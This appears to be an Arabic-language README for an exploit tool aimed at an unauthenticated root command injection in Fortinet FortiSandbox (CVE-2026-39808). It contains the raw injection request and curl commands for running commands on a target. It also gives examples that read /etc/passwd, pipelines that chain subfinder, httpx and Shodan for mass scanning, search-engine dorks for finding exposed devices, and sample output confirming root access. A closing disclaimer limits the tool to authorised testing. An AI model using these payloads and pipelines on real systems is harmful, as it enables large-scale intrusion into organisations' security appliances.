
# ماسح RCE غير مصادق عليه لـ FortiSandbox CVE-2026-39808 مع تحقق قائم على الكناري، وتنفيذ أوامر، وتكامل خط أنابيب للمسح الجماعي.
حقن أوامر نظام تشغيل غير مصادق عليه بصلاحيات root في Fortinet FortiSandbox
الثغرة • التثبيت • الاستخدام • كيفية العمل • خط الأنابيب • استعلامات Shodan • إخلاء المسؤولية
CVE-2026-39808 هي ثغرة حرجة لحقن أوامر نظام التشغيل غير مصادق عليه في Fortinet FortiSandbox. يفشل نقطة نهاية API الخاصة بـ /fortisandbox/job-detail/tracer-behavior في تعقيم معامل jid، مما يسمح للمهاجم بحقن أوامر نظام تشغيل عشوائية تُنفَّذ بصلاحيات root — دون أي مصادقة.
يتم تمرير معامل jid في نقطة نهاية tracer-behavior مباشرة إلى أمر نظام دون تعقيم. باستخدام رموز الأنابيب (|)، يمكن للمهاجم الخروج من سياق الأمر المقصود وتنفيذ أوامر عشوائية:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
يتم كتابة المخرجات إلى /web/ng/out.txt، وهو متاح عبر /ng/out.txt على خادم الويب — مما يوفر آلية قراءة رجعية ملائمة لحقن الأوامر العمياء.
صفر تبعيات. مكتبة Python القياسية 3.7+ فقط.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# التحقق مما إذا كان الهدف معرضًا للثغرة (يستخدم اكتشافًا قائمًا على الكناري)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# تنفيذ أمر محدد على الهدف
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# التحقق فقط من وجود الثغرة، دون تنفيذ --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# من قائمة عناوين URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → الماسح
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → الماسح
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL عنوان URL الهدف
--stdin قراءة عناوين URL من stdin (وضع خط الأنابيب)
--cmd CMD أمر نظام التشغيل للتنفيذ (الافتراضي: id)
--verify-only التحقق فقط من الثغرة، دون تنفيذ --cmd
--proxy PROXY وكيل HTTP (مثال: http://127.0.0.1:8080)
--timeout TIMEOUT مهلة HTTP بالثواني (الافتراضي: 15)
--rate-limit RATE_LIMIT التأخير بين الأهداف بالمللي ثانية (الافتراضي: 0)
-o, --output FILE ملف تقرير JSON للإخراج
--no-banner إخفاء الشعار
يستخدم الماسح عملية تحقق من 5 خطوات مع منع صارم للإيجابيات الكاذبة:
الخطوة 1 → اكتشاف FortiSandbox (بصمة العنوان/الترويسة)
الخطوة 2 → التحقق من وجود نقطة النهاية المعرضة للثغرة
الخطوة 3 → حقن سلسلة كناري فريدة عبر حقن الأوامر
الخطوة 4 → قراءة /ng/out.txt والتحقق من الكناري (تحقق صارم من النص العادي)
الخطوة 5 → تنفيذ أمر المستخدم + التنظيف
ينفذ الماسح طبقات متعددة من التحقق للقضاء على الإيجابيات الكاذبة:
text/htmlid — مطابقة نمط صارمة uid=\d+(\w+) مع فحص معقول للحجم (<1000 بايت)/ng تلقائيًا لمنع مشاكل المسار المزدوج ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ تم اكتشاف FortiSandbox!
▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
▸ حالة نقطة النهاية: 200 | نوع المحتوى: text/html
▸ حقن الكناري: mitsec_a8k3m2x1
▸ قراءة المخرجات: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ تم التحقق من الكناري 'mitsec_a8k3m2x1' في المخرجات (نص عادي نظيف)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ تم تنظيف ملف المخرجات
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ تم اكتشاف FortiSandbox!
▸ فحص نقطة النهاية: /fortisandbox/job-detail/tracer-behavior
✗ أعادت نقطة النهاية 404 — غير معرضة للثغرة أو تم تصحيحها
▸ قراءة المخرجات: https://target.com/ng/out.txt
⚠ يعيد عنوان URL للإخراج صفحة HTML — هذه هي Angular SPA، وليست مخرجات أوامر
▸ نوع المحتوى: text/html
▸ هذه إيجابية كاذبة — /ng/out.txt يخدم ملف index.html الخاص بـ SPA
▸ لا يبدو أن الهدف معرض للثغرة
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
يُخرج الماسح عناوين URL المعرضة للثغرة إلى stdout (جميع المخرجات الأخرى تذهب إلى stderr)، مما يجعله متوافقًا تمامًا مع خطوط الأنابيب:
# العثور على الأهداف المعرضة وحفظها
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# الربط مع nuclei لمزيد من الاختبارات
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# مسح جماعي صامت مع تحديد معدل
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google Dork:
intitle:"FortiSandbox - Please login"
إذا كنت تفضل التحقق يدويًا باستخدام curl:
# الخطوة 1: حقن الأمر
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# الخطوة 2: قراءة المخرجات
curl -s -k "https://TARGET/ng/out.txt"
# المتوقع: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid المشبوهة التي تحتوي على رموز أنابيب| التاريخ | الحدث |
|---|---|
| نوفمبر 2025 | تم اكتشاف الثغرة |
| أبريل 2026 | تم نشر CVE-2026-39808 |
| أبريل 2026 | تم التصحيح في FortiSandbox 4.4.9 |
هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن كتابي مناسب قبل الاختبار. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه الأداة.
mitsec — @ynsmroztas
إذا ساعدتك هذه الأداة، فكر في منحها ⭐
| التفاصيل | القيمة |
|---|
| معرف CVE | CVE-2026-39808 |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | لا شيء |
| الصلاحيات | Root |
| الإصدارات المتأثرة | FortiSandbox < 4.4.9 |
| تم التصحيح في | 4.4.9 وما فوق |
| الاستشارة | FG-IR-25-325 |